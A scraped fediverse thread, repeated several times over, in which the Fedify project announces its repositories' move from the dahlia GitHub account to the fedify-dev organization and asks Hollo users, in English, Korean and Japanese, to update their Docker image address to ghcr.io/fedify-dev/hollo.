We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください:

  • 旧アドレス:ghcr.io/dahlia/hollo:latest
  • 新アドレス:ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

關聯(관련) 重要(중요) 消息(소식)共有(공유)합니다. 貯藏所(저장소)가 새로운 곳으로 移徙(이사)했어요! 이미지로 使用中(사용중)이신 분들은 確認(확인) 付託(부탁)드립니다:

https://hollo.social/@hollo/0194aa7b-017e-74e7-b97a-f91bb6c7b8e6

hollo.social

#Hollo 저장소가 [@dahlia/hollo]에서 …

#Hollo 저장소가 [@dahlia/hollo]에서 [@fedify-dev/hollo]로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 [ghcr.io/dahlia/hollo]에서 [ghcr.io/fedify-dev/hollo]로 이전되었습니다. 기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다. Docker 설정을 다음과 같이 변경해 주세요: - 기존 이미지 주소: `ghcr.io/dahlia/hollo:latest` - 새 이미지 주소: `ghcr.io/fedify-dev/hollo:latest` 이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo: #fediverse #페디버스 #연합우주 #도커 [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

@hollo@hollo.social · Reply to Hollo :hollo:

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください:

  • 旧アドレス:ghcr.io/dahlia/hollo:latest
  • 新アドレス:ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

關聯(관련) 重要(중요) 消息(소식)共有(공유)합니다. 貯藏所(저장소)가 새로운 곳으로 移徙(이사)했어요! 이미지로 使用中(사용중)이신 분들은 確認(확인) 付託(부탁)드립니다:

https://hollo.social/@hollo/0194aa7b-017e-74e7-b97a-f91bb6c7b8e6

hollo.social

#Hollo 저장소가 [@dahlia/hollo]에서 …

#Hollo 저장소가 [@dahlia/hollo]에서 [@fedify-dev/hollo]로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 [ghcr.io/dahlia/hollo]에서 [ghcr.io/fedify-dev/hollo]로 이전되었습니다. 기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다. Docker 설정을 다음과 같이 변경해 주세요: - 기존 이미지 주소: `ghcr.io/dahlia/hollo:latest` - 새 이미지 주소: `ghcr.io/fedify-dev/hollo:latest` 이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo: #fediverse #페디버스 #연합우주 #도커 [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください:

  • 旧アドレス:ghcr.io/dahlia/hollo:latest
  • 新アドレス:ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

